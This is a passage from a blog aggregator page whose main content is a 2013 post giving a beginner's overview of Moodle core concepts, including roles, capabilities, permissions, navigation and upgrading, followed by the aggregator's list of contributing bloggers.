- divide the tasks among ourselves
Please join us if you are interested.
The minutes of the first meeting is at – http://wfs-india.dreamwidth.org/832.html
Satabdi Das | My foray into programming! | 2013-05-03 17:24:27
Moodle core provides all the infrastructure necessary to build a Learning Management System. It implements the key concepts that all the different plugins will need to work with. These include:
Courses and activities:
A Moodle course is a sequence of activities and resources grouped into sections. Courses themselves are organized into a hierarchical set of categories within a Moodle site.
Users:
In moodle, users are anyone who uses the moodle system. There are several categories or roles into which the moodle users can be categorized like:
- Students
- Teachers
- Administrator (More types of users can be created in moodle but these are the default ones)
- User roles in moodle: A role is an identifier of the user's status in some context. For example: Teacher, Student and Forum moderator are examples of roles.
- User's capabilities in moodle: A capability is a description of some particular Moodle feature. Capabilities are associated with roles. For example, mod/forum:replypost is a capability.
- Context: A context is a "space" in the Moodle, such as courses, activity modules, blocks etc.
- Permissions: A permission is some value that is assigned for a capability for a particular role. For example, allow or prevent.
Added facilities provided by moodle:
- Creation and editing of user profiles: In moodle, the moment an user creates his account, a profile is created for that user. The user needs to fill in his initial details for completing his profile. The user generally always have the permission to edit his own profile anytime on moodle.
- Groups and cohorts: Cohorts, or site-wide groups, enable all members of a cohort to be enrolled in a course in one action, either manually or synchronised automatically.
- Enrolments and access control: Users are generally enrolled into some courses and according to their permission settings and the groups to which they belong, they have limited access on moodle.
-
Activity and course completion:
The activity completion system allows activities such as Quizzes, SCORM modules, etc. to be marked complete when specified conditions are met.
-
Navigation, settings and configuration:
The Navigation block provide easy access to view various sections of the Moodle site and includes:
- My home - a personalised home page displaying links to the courses a user is associated with and activity information (such as unread forum posts and upcoming assignments)
- Site pages - links to site pages and resources from the front page of Moodle
- My profile - quick links allowing a user to view their profile, forums posts, blogs and messages as well as manage their private files
- My courses - lists (by course shortname) and links to courses the user is associated with. Click the course's shortname to view the front page of the course or use the arrows to navigate quickly to a specific section, resource or activity.
-
JavaScript library:
Moodle has adopted the Yahoo User Interface library. There is also a nice system for loading the additional JavaScript files required by each page.
Upgradation of moodle:
- Make sure that your server can run the lates Moodle version
- You should always be prepared to "roll back" if there's an issue with your data or some custom code you've added. So before comitting, create a test install and always make backups.
- At this stage you can replace the Moodle code on your server with the version you downloaded and check for the plugins.
-
Perform the upgrade by triggering the upgrade from the admin page.
(More information abour upgradation can be found here : http://docs.moodle.org/23/en/Upgrade_overview)
- Statistics in moodle: The statistics graphs and tables show how many hits there have been on various parts of your site during various time frames. They do not show how many distinct users there have been. They are processed daily at a time you specify. You must enable statistics before you will see anything.
- Log in moodle: Logs in Moodle are activity reports. Logs are available at site level and course level.
Teresa Cho
Marija Radevska
Skud
Valerie Juarez
Geek Feminism
Women in Drupal
Addison Berry
Mariya Nedelcheva Miteva
Danielle Madeley
Jenny Ryan
Matilda Bernard
Mitchell Baker
Martha Chumo
Star Simpson
Camila Ayres
Myriam Schweingruber
Suw Charman-Anderson
The Ada Initiative
Jessica Anderson
Sumana Harihareswara
Svaksha
Leah Culver
Sindhu S
Stormy Peters
Silvia Pfeiffer
Terri Oda
Lianne Lee
Emma Jane Hogbin
Marta Maria Casetti
Helen McCall
Kim Schoonover
Anna Martelli Ravenscroft
Lydia Pintscher
Christine Spang
Stephanie Alarcon
Fabiana Simoes
Meg Ford
Biella Coleman
Dru Lavigne
Sucheta Ghoshal
Aakanksha Gaur
Sherry Q. Moore
Valerie Aurora
Aleta Dunne
Mel Chua
Leigh Honeywell
Priyanka Nag
Victoria Martinez de la Cruz
Flavia Weisghizzi
Lisa J. Lovchik
Dawn Foster
Anita Kuno
Satabdi Das
Laura Alves
Fossy Girl
Stephanie Manuel
Marina Zhurakhinskaya
Donna Benjamin
Petra Moessner
Audrey M. Roy
Myriam Schweingruber
Gabriela Gibson
Maletsabisa Molapo-
All feeds in one -
All feeds as OPML
Want to see your blog on this planet? It's maintained by James Vasile (james AT jamesvasile DOT com). Get in touch and let them know you want to join!
If you find Planeteria.org or the free software on which it runs useful, please help support this site.
Bitcoin: 17XkPWnefx3gYHFax74hNRfj6NtrGyJ4VN
Posts are copyright their respective authors. Click through to see each site's terms for redistribution.
- 2013-05-25 15:30:34
- Admin interface











